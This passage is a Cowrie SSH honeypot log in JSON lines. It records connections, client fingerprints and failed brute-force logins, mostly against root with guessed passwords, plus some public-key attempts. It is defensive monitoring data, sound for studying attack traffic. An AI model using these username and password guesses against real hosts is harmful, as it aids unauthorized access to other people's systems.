{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:c6:73:d5:ce:39:71:f3:89:fc:46:d7:94:e6:d8:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEJ0t9csRHczc48dTlsjvh50C8oykiG4e3UhExvz96dvjPAAWx3lBOiUr1cA9v8U59pjMzeOdbip/VmIHJfHq/KSJbUWlGhgsjcdHAjc0lTwq0N2K/uYkD7dEij/KepdB8J5iFuuxsTCIBXIBxHmpgu6fXzjTEwqZEWXiThdnv8xkarg71ArVrKlbPd5nZ+Ja52EMqzO9RLbvW5VCYify+C5d34Qq6P3ca/p8luFwulbvEoYWqlGXebH7w9c6S2aQbhGu/qFOnE+9xD5PAAnxjvlZ6GctKeL0ERfxKtlzqn2n04c6o7sC8pSPVdKQ+UTbhHdRf1DQ1IGyy83tFYKjn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.226065Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:94:cb:99:e8:e7:e7:7a:ad:e9:a7:0f:7b:74:79:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9rGExY4C3Q+X3rHUU24ZRkhXTTNnundYvV5boXpEmiy/SbYwGe6d1WT+JVSxOy8zyrSaUb/FMm5CJkLLZzVlfk7EPY3Uu1leRPA7UgTOOSbDfjU87UQ017f3SK/utOnoK+jN6Q1p4zDzkKzneq8PAPAAVggHiDV63DZXzA8HbB9W+9I1aXl6/nZuwmONrRX5LjxQP8i31rkuTmcCPMRLMRrNeBmKi6t+m4CSuuV2Kn5+8DHzzglkIDTkQh+Rh2RZkoqPyBUgxS6gYQGtWYgreA3JgwvxgVOcPeNGF+MJhFdpl6C2BBJZn/VMfYvTWXfrMPWEAznXPzRBBOZZ5bDCr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:94:cb:99:e8:e7:e7:7a:ad:e9:a7:0f:7b:74:79:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.256242Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:94:cb:99:e8:e7:e7:7a:ad:e9:a7:0f:7b:74:79:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9rGExY4C3Q+X3rHUU24ZRkhXTTNnundYvV5boXpEmiy/SbYwGe6d1WT+JVSxOy8zyrSaUb/FMm5CJkLLZzVlfk7EPY3Uu1leRPA7UgTOOSbDfjU87UQ017f3SK/utOnoK+jN6Q1p4zDzkKzneq8PAPAAVggHiDV63DZXzA8HbB9W+9I1aXl6/nZuwmONrRX5LjxQP8i31rkuTmcCPMRLMRrNeBmKi6t+m4CSuuV2Kn5+8DHzzglkIDTkQh+Rh2RZkoqPyBUgxS6gYQGtWYgreA3JgwvxgVOcPeNGF+MJhFdpl6C2BBJZn/VMfYvTWXfrMPWEAznXPzRBBOZZ5bDCr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.259996Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:22.290762Z","src_ip":"184.154.95.137","session":"5627b648ccbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":44682,"dst_ip":"10.17.0.5","dst_port":22,"session":"38883c97131d","protocol":"ssh","message":"New connection: 185.40.30.168:44682 (10.17.0.5:22) [session: 38883c97131d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.138883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.142796Z","src_ip":"185.40.30.168","session":"38883c97131d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.267376Z","src_ip":"185.40.30.168","session":"38883c97131d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50028,"dst_ip":"10.17.0.5","dst_port":22,"session":"40ca15b3029c","protocol":"ssh","message":"New connection: 193.228.128.84:50028 (10.17.0.5:22) [session: 40ca15b3029c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.575839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.579844Z","src_ip":"193.228.128.84","session":"40ca15b3029c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.684399Z","src_ip":"193.228.128.84","session":"40ca15b3029c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:36.801856Z","src_ip":"185.40.30.168","session":"38883c97131d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222222","message":"login attempt [root/2222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:37.074407Z","src_ip":"193.228.128.84","session":"40ca15b3029c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:37.935564Z","src_ip":"185.40.30.168","session":"38883c97131d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:38.179560Z","src_ip":"193.228.128.84","session":"40ca15b3029c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":49196,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7482837ede3","protocol":"ssh","message":"New connection: 69.49.246.176:49196 (159.203.135.109:22) [session: b7482837ede3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:39.647649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:39.653595Z","src_ip":"69.49.246.176","session":"b7482837ede3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:39.679576Z","src_ip":"69.49.246.176","session":"b7482837ede3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenyong","message":"login attempt [root/chenyong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:39.816823Z","src_ip":"69.49.246.176","session":"b7482837ede3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:40.851889Z","src_ip":"69.49.246.176","session":"b7482837ede3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":35992,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c443243c98","protocol":"ssh","message":"New connection: 168.144.95.137:35992 (10.17.0.5:22) [session: 41c443243c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:41.802109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:41.807269Z","src_ip":"168.144.95.137","session":"41c443243c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:42.017128Z","src_ip":"168.144.95.137","session":"41c443243c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shimi","message":"login attempt [root/shimi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:42.888903Z","src_ip":"168.144.95.137","session":"41c443243c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:44.105033Z","src_ip":"168.144.95.137","session":"41c443243c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":58056,"dst_ip":"10.17.0.5","dst_port":22,"session":"877653562f96","protocol":"ssh","message":"New connection: 154.70.102.114:58056 (10.17.0.5:22) [session: 877653562f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:46.403062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:46.407345Z","src_ip":"154.70.102.114","session":"877653562f96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:46.613208Z","src_ip":"154.70.102.114","session":"877653562f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2088","message":"login attempt [root/2088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:47.466971Z","src_ip":"154.70.102.114","session":"877653562f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:48.676190Z","src_ip":"154.70.102.114","session":"877653562f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":33996,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e2e72f0d2f","protocol":"ssh","message":"New connection: 43.128.106.207:33996 (159.203.135.109:22) [session: c9e2e72f0d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:58.368930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:58.374696Z","src_ip":"43.128.106.207","session":"c9e2e72f0d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:58.622200Z","src_ip":"43.128.106.207","session":"c9e2e72f0d2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":57728,"dst_ip":"159.203.135.109","dst_port":22,"session":"a490e263b38d","protocol":"ssh","message":"New connection: 217.154.42.110:57728 (159.203.135.109:22) [session: a490e263b38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:59.597146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:59.604104Z","src_ip":"217.154.42.110","session":"a490e263b38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"subsonic","message":"login attempt [root/subsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:59.637669Z","src_ip":"43.128.106.207","session":"c9e2e72f0d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:36:59.683236Z","src_ip":"217.154.42.110","session":"a490e263b38d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:00.032643Z","src_ip":"217.154.42.110","session":"a490e263b38d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:00.888204Z","src_ip":"43.128.106.207","session":"c9e2e72f0d2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:01.115612Z","src_ip":"217.154.42.110","session":"a490e263b38d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":50712,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ee3a4f2e02","protocol":"ssh","message":"New connection: 103.243.24.124:50712 (10.17.0.5:22) [session: b9ee3a4f2e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:01.462763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:37:01.467678Z","src_ip":"103.243.24.124","session":"b9ee3a4f2e02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-g